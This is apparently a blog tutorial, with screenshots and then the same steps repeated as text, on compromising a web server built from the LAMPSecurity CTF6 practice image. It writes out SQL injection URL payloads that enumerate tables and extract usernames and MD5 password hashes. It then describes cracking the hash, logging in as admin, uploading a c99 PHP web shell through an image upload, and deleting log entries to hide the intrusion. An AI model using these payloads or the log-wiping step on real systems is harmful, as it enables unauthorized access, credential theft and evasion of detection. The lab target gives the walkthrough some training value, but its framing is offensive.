Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWeTYttb0STxIregO8Mw4SXiLq13kwetL3RbMXzZ6Jv_5IXOPJbViAmlFs2eS3wnQzlhopmzmkwJx9mAUP-pWAAtbuCxPij1g1Obv0suNI0uXyDrWPD2mb_JCSxd8evsXwyECjb9lWiG3rSkTs1brvsvcX5MTtKMWFShSY9GEbMrZ-=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s3862ue-U7Jk_pl_riKMhN9XYMP_jOOVcpCt3tGWxeOjirzZO_tk2PV-J_b5zBTyIUR6L5yY2J6GzsjCeVBGMmasEht-vFWjq2kK5XmEDAqTONF2qMrCZK-UXQRDfrkDadOebSsdqgTY7-cd69_MRnqcFdRzevNkEh9fjE9O5uICfaGA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6vHM7tMU1nJWzIeR5V8J7xWykKAurBrosptTooEmQ4tNOlRUZBGPYXMWjRTq4eJfL3jLaHeGq1P5BXPPHxAtxLb4Sz1DmnATBmK6rwBgr4PTFgKq6OO6Ux7Ydo9geSybWddjEhXeAQUluxL7czjZMPkrZi84iErq-D1KOZuv2FD4SDw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tAHv-trKb8ovQQrd5sELwgLW0ONzprroQqB1VuJY08kA8bEx0KLPeAC3WVmqB0r4ciCmVviPhCGqzND0p3nWogomA9esc8VHBQGq_D6g7MoK99_9EdERAwBDRGBFTIosOtgKDPBBBn1S-Del-o0tSkqSn87LU-l2y746Z1g1n0Man1OA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tUNqxQ6cFyW78o4S7kl2MA6tRvQfjlpUcepbf69OLb6qerm8BifTp1puBqYm0hC0G3PPfM8AznT3kvmUiniXrEEpE8oAa7A8NaxJiNL_rE3DVOWRgzAj087zl3bcHDhFug-wVzg9EmCWYmoNLjzCRPg7RP6dopUpaeFE-G3aMLE7Xg6Q=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sFTETeHDdIbe4Ngp-RI5Ilr-WlqBd-KUMmOhrBmSNdFDlJAxp_F-J4VQB1626fYf9S13LSPVtfc-XgomAi5uS19UcQv8huro4bJL_r1qmcCBDfpiILwTOvss8rt3_X-5vDi0il5e1H_eW10uI3S2wggvjf_wJICEAD30NbV-xpl12i=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_scrZMqmVYvdKfEHdYS1XPvH90ASWMd9TzbIzi2KgIA5Kl6oW9U2Tj34AiFYKEms_-BiWa4rXItgVT2rVB_NoddeJQNP2kn3j2RtE6xVwMDGgsnbkYdiRkgKeY-dGe0ZFWZaKJ85EYkv2laY8Uu6d9xsje7s3_GgZ7CSrqMWb8HUQV_hC0=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t7sR0fP-QUCPlOqVOnv-e99ZG6-5sti1XAmjWPwM3YtclDJpc6jCKm3xe6Bz_1X6x9Js-fRrPI0vXgyWdesQfs8zNivjot6C1wTn5Ww93nlnegCVn7ta8v7e0ni8mbptjoqcfxzZZem93BTkCw6a-0rFmWNR00ijE34iwJN1CHi15ExgI=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sAJAq0NJOSNPU5ma0i6KEY5vEWeOoRW2aAqhDCtdBVRQo_W8GWUxsFTHvbYAvpDM6dLk6fY6zgLW4b7yS-PPeReM9D1__DglTJZwPtzzOiZ9eNGfuJoiD7zxRe6o8WaMaqxX6U28cDIDtGdXFPsXIc1IfS1xiuzHDd5AVfj5hj5sQrMqM=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uk-MNnnKS6h9g7JTjDtZF_WvUU0gI_ua-iW5SgcOnbXlbjzXD6PrEmDt2mhtGvbrHjfAJrv2a0gyip4AL1GBQDIn3iV07Bpv8bf0Z4DeaUQGsB0OgQ3qe7tT92TWyFcMCyFkGK7Z6XHdeKuqMOMXbh5Mp4bXGVJScOuiUilTve6grV3Co=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6Gbdc6SsG48zSTVYD-HFFAyegH8U2h-akMgLRm8uyBlFkDU6HaffSBb9O9Y6DNJuqsJLkdQlZChBEe2KFygxioN2E_bzkAtn9MzsaHdo0_tycl8vwE_GpddNGTr974HMhvttpwhQN8gFhUzmcCczplXxD6RVu2flrEiwmZOs9gdy6uA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYhgVFHXETmjkFn-drv3HGuD2KLU9uj17RZMZeDnq79-vJDLvBULfUyw37s6YtADZIQUJ_yggsS8FALGXqSZfRIVMkNsGDrfL-BBH0krHR5MTkjZ4kw-COzP56fCESwMvjZPd3-bDyAbaON6EGG-m6-w68L039WHFcnzmNwNEFWlDTEMs=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s7SQdQE5-yBRC4SA-wzSqeG_dSAPqdfqTUApEkCO-w9-GskC--lY5nZE6z93rARManLEHjxNyy4C6iZ2KN_-cND5uzcI-6niqiHFo1yHS51J4acB7Adw5i_iXNJlpnB-igIiojpc3xrWnXhlnF0dU-sN5byX7so2VrJAVTmSfuAvtZ9po=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sdv_7hcFItJDc-lNfV9_Jmt4zCdzZ41X4RLfonKA1nWe0LFcmI7q_4ymol_TCgJvs-T9afURKzXfFIp5vZX0seHWH2vBNw3HKE2ZBXnA-iZ2jr-9xIY9icBHSwbNou747NF9GZpB9qMTnt4A7H9WwvkAgyy1WSJQUIhdobL3lOkdaRmQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sOuPPYxbQIoqnKHPif9sfrBlCEKqbIlyoXIRHPnaRT94dB8T2ewopo5lEOPFMk5hOWnDY-_ZTi8vofnTJIeH9W2Tsm0TOjzSb7HFjhSi6IMOWbJj4p8A3lavlhA8EwmSg2BY1yHAfgG7NfkJDPY60XXOCOPvYpNGpUjwkrwXJBBah56A=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_su19GMd3wTnGcJ4-qtr6jr6NdFL-svgV3GSy5mmVdjdxXTHr4jbMF76Q82yEQ01kmDprZKFipLyYgosHI3DDkmPS1utNzhTo0S9x71zoF6mrQ1YmooEkXIz5wBXn0LNjyBrQCJa50t_peuGsF1pLEsEkyThzN9pB1xBsh-jZuc1NaXVwk=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vQxGVYnKqGpXIfR_3wPuIcmrwO9fP-u90YH7Ezupk7AEZJnts0nMh0QymTJJ6mEK1c22lipl4u8fZ30DH2F3ZLjUUpEHj4rV9Wfs4NB2z7DPpzqJG6dS3n0hQ-dOktRvK7BLoBFbw3gL4Hdxo2TetuKtl8E22HV7vAMUdBp2ljHJ1cFyQ=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_typxRFjdAL3YR3QnidIQpU2Fs8RJQiercDAsLo5D8bder6x9pJlrKZMucBp6faBA7XdDqpI2Pmbe6Ih7GtwPR4a0DA_pWvvilqihNkF1hi3q7xtA2Z-m7hQAb5K0TT6EMPBnkUDF_frx_RiQsYsLXRw5drvf6C5Y9DFJz5m006QP6KL98=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBgs1ndKQbtNYVG_OAVT5Q3dZNvS7hik1-nIMQ_q4CSPcGq6bO3a-a9ok5-NMZTEUnIRI-C9c5VMTzv-KMt6b1tWmdtTYNnaumJv8osDslKnsiz71RvCqb4tYlPPVr97qXI8BwkH_3vDiONPLt4wMbTR2rGeMcGVmzTt-a1S_K9YnPuho=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tNMBEfh-iuwpJjIYiiuBBXE3nJpzBciQC5-V62fkw3pQV0Z8LSFIAzsC7DrHK0bgl8pkbFRa7FeFKlJ5Qpwcul0K0YtRNnytUoUFKeZE3WMsLntlehV0kLvoC-9YoDAYpVbhzCOLxCt1gnpUjAPpsjr9PJ6XcvGLJWE_ZcyvFLMIaNAnk=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sha7BkOzD7AIIHKQxMx9TPtt3oVvuGGWiwn-MwRcSYO3ewmyq-lTlOfSncYXhhi10QGdlm4j8TxQD8c_S5Rq_7cModZnr5CJGX3OMAf3bTqlRtqv6i4XN2_lvwWxVgxyPqGq_ojDCgwJ-NC9xWPCx_sr5SJ9V-GzP2kccHA1cuSxiPDYI=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uwdakLrhON47t0BFCfPwqh0HJ9bDMt7B4p2HaLvdIWwyCq6CTeBNrG9A9hVRrfDquX0j52Zq5c3PZorzt63hDWwQ2pY2oLL1svhzP-bHDcuJUyyuAx7U3mbY9rP162l3j7lxDT63XtwrWj0o02HTJr7YWgkl9NDvIaUbo_J5bahhn4pQs=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vavY4gP7AI-MOMuT_DmKMubyhFkE5M_lQQhywPNGsAF6fUpFkx3bW29k9XjhftcUGv8UTOdSEw1fcKP7SIG4eVS7SeqeXlXjUSwAfg2FR8YklZJqsZsDT5rddQDIio9cfFFcN2ucUhjzZgHLZZHULK5-ce5hJ7LoxzWkTPNiVGkI3AI2I=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v1Pmt3DsE5hSc-DLn8UHPHfrDP7y4W2_fiPSH-EpkbP3Vn9gmdg1OOTWNK5eIzvhVU-bgppJi1P7ely6cDl9jfm_D9ipxyGNHG4atPAjI2PZ02--MHoKRB4dfhmM3FnP2qQlq6IZH0y0hgIQqa5HplW4eiBQfrT_9Bklun_9fe4W6D-3g=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvlNQghzJonUlgDT8GeUNQYpzo9-9xXi_Y2bNhpxboqV0LxwpUuWF7JvnXJnZ0qFWUj2HCPnTKze2Ybd9ifdcXXqctm-qP3Z-DGiYog6xRy5esqblR8LctZjGhEP7duxh4FSL8ATzRJ26AJ6ffcpBSTfUelPCLctfWEO2Kg0d3JGYt4g=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uyQmcRZ2BtaTjRhSPgvfH6_MmZ4fW2WcoO7yi2Fmp0zSBQeqEJD5qBmEcOdiWDEe11IIKjpQlB6YTPBnvXgIWrI4Gj4q9lIvinxEbaG5Xwk9PzcWXOzcpJgjAcLDkMDfJ1HS0iIYK2uHt4prNo_Zds2oUGEZdb-VLzQjbXtse6-mnuag=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u48Afau3eTQLs1Nm-hTUM0OZUAJz3ospBlk_aoHaY-eVOigV9PzQUGWjMyNR4GMJnOUud9xlzAFXl1ag8UuzH4HK13sML9J6QRZ3cbl2d4fwTOSt7LjTlqA_kqnCBNuOcZTBIcxkHGmKhP0vnvWBeEzpYT6UEX2lvkId9PXDHoMMrD60w=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tk81ATaLTlPnHHwhPlRnpt7eLxEcVidvOhWL4pp_c9BW0sAZiuFzJy7BuqcVeXdAb2lznYd3vnVVv5iBWuGRl6kzqPSPmMRTQ_6UMfGm7LcBW-vryhytR1VtlUjfnbsfsOUf-NshN5YIFp2pteyspnLJ4t_aY9Zb3cgAFGVg_z3wr0UjU=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tGAgWfo-MEECzwTampu62CWlsBw5zlwKhbgV59w2eSTr8wVkQzltxyFTYPJKvbydtehJkoNoAZYofyh0ff18qWNrIQY-aEaGrroJGKyQIIP3VzAlPQIwT24q5n3S8y8HH2xoclqU9nM5LvnhILFCysNDmeFzLQpUzBQqQzxgYTBm8-0A=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFPextdgmwJrXYi_6uFCprQFXuPac_z5JVTbx44zyRfKldWObHPZ7Xb5iixD8ch0V88FWa9vhLOernaH8YjV2WjESeVB6OAhTrhSHA6MAd4QvYs5ZVBHWFzTZPEjbidSX_OGhicfNTtOcKnEQ_HyxeTdFy9QruKwuqBITuQECLGOYZLgQ=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_trBFvl9TvZ19NQUp0m-KcyHb0g8TRL-QF2FoXaR5RXs-GeuzMMQscsD7O-vBqkkDy0Demnh7iyX-RhNPCuDpThZQEDqWGeJmt4vxi9Vk7Kw6xj8S8Zm7e0eSMohH5xkXbzxexFHVzBSzyIzgk1bTO7PUChlqcYUDUiblL3zfXfVat4yl0=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGI5Lmytwvp4nbkkm3PsRV37_GlEtA_Z38UQR6wRCZ_zmTmeAwSWPm-h1EoLoPWZIH1vY7RHsqa1_OsoQvy8UV_V7VzZ8pB31Wu4A2bzAvdn8rPinUf9DOw4vz-if_rvmDXFSIP_FjA9JCWOaawQOPJbxvMjEk7oxfaJptsQ6gmOsBIRw=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u11EeCHjpPfrgSJXgIcx0m1wVeEq5LjHT0K2a-_PVpBZwdvw4niWFYXZjbyLtGv3OpB2OrP4YJ-Q3_d0-sUG-RWglArRmYJ5Xu_W130viac7N9MZm0FxVuCLRZYhWzuEh--YGB_upGkGZfCGEsOOXH-PrTOVeU6RVjWyD8m1lpulWi-yM=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-l_OYK8ja8RsBUxf9mUeI7XIUAeHQXQuiQngRdkrGvE94ZkqnPVarxnwqCqRt51VAZz2m1Kix2wjzO-e1_mH43Zo5WaLqJTMwHfwAOHDNwPX5W5krBn8bCFxFpnYu2JAXPAKsfAYQZj63RoqHZlb2LYbSUHQoxlso-BfuVZ2wz46HeFI=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tDmZ3SewO9dJ-OsMCcsyj-QEMJVAScmnzuy06YVP0y6iyfXO18In4KrcitOY3Hqc8sPvXnRtSBee4as3kyQkM269ik47PcBX8Xz0PBYr2kDul_OWqb5rfZx3fuIZwsThWBqTP751BPKC1CDna7Z2KVvG9aXzNQLUNcDUeVodfej-OPpqY=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjv3Y6D9Eg9zpSI_4KAYK2fvrGQiAgmSD-dQAylTV4EEldz9DYkCX41w0IXk5P6RgA2_BDlRI3SLunUmHinpGs86C5KyxfOKfS2_E_z9gutgUrybu5zWHwjEL7cqPlyJZeZK_ptJfL2LCrR-UsLk_DwzHT_X_KbfTWvYw0xeamA9nZQAs=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGryRZ3KXQTk-4fW8i3Wk7iEo9zZhUnnt6EO5_md_an7pV87ge9uFX1YLT6A5OjI4w0v3BlaGCTWERJt-joEfqKJ4GSIIc3jUNo7yU7z9eAWhJ81GAGF4FsWBX-3HoF42EHSWWdGeJ9FvCm31ahJUrOdwqG3vOmEdW0a3-IhXaH62lVw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNcjiaABoLtGgfLiWFe_cRftIYI3SQ0asH6_SQzU9lwxQvp-ineCuiQGEwBJtF0YgfqPOyiGqJaPNxG8YePi7GBLMlhbohzaekIkoKm1bQeHu7uI0UfKR0qfQ9ixhIBZ1_AaCj9tevgB12lS35JTr404UE0Zc4EIb4E9KiA7fgH4kno88=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ud18DeYo_Enr-g51rplv9MT27NT1a2sGZG_voMo2VoMMhGKSvEgRolF_M8VVwpmXRd4H7OWq2Zu6-PM-g-Zc25ZSaIYN-FIOnbFghkuwK2_aA2NCFVFjmVq92AviusqEdiZAj4hhixXgANigTgIUBuYsiXuarCn_4yuuHZYHJAk5puvA=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_srWdHLbErPBSOsaIVOxdlM3uJfiiIWzc-CiEnFTZG3B8PFSQWSznNXhRfDyxugoN3KHv6gPwfMeANl6wNE4K0JhFI-ieyg2F2q73-vEeqy5Sx5xoELbuzn-N8r7jSPxxNHLEoD__WGEom3ma3ICIcIEM-bL9JPevhy4HqdD8qOjBnFf7U=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tWV62idXnANll1ZlQkPk5YPWULf0VLFle2_PcJuSynycLuiel_fLy9OBuQpBFGOx-JO39KhfLneR5AYS9S6EROxJD0d4g-CAugBW7bsJX44s6LuiNkqOE9qN_iFitu3iSAA9Pv4IqczVv6SyycmSw3Xw7EGunsFsVOLUExH5Q8TvKjBXo=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vdSQ0LSHfAqTIyZUWnO6GoZKuCvqqu27_fPSGqIj9JJvhYAFHRRZX8Uz_dH_1sCzZGtqYtnXxQVXt12T4ThQf2otLLu7fPWaSmur7fT8Z9z8tn0JxrKlUgVfu8hjsQvjXsI9AQsOjHstXf5Q9p9Y6j85JqmwC2cTALzISrNrwMjlCFNdU=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tpkQrkB4V2sSuEHkOnhHACOL0kbSgs91B4lo0q5rWBmrFGf-ZD6yBg3pbWHYy-oRZaWeBaWGLol-lNLMHh6rxIf_oQujJUrQvy9yjLWb0e1DcsEAsSYKnbZR97wosvGV6dXS7S59MP8pxyYXQ6ey5SDqId3PrzfABlrYdyG6ivzf9cbcE=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uM9EM5XAV1gnkt2sqYzrreyUTNMi4kKkv5Z7G1CxKyvzDSSfJY3MM1q8H2HxcvwHGSUZGQw72M5ehCsFszYUdPWTkoc9KVZ2vqV9k9_gv4fOMAkezdmvmfH-etHk0R7GIXPpNtiGyCEUtchmGRyfanhUoUcEIRixzxkQ2cFc2aBgWL4Q=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vEECmtZxZUhJDeKhELLErpDt1OZPnRgsD2Sp-Ktmff44dac_gpWByx3rZjmkulbEB1qvDlU06E-mAc4R-t_Hqv64Onp2GJND7H3n6Ki9YEc5tJin8H56N1ljdjMCUrimiZfOcMtY-qIxJG1eCRQVkpNwMejj_X2OUTirlLTk01HCiP4DU=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete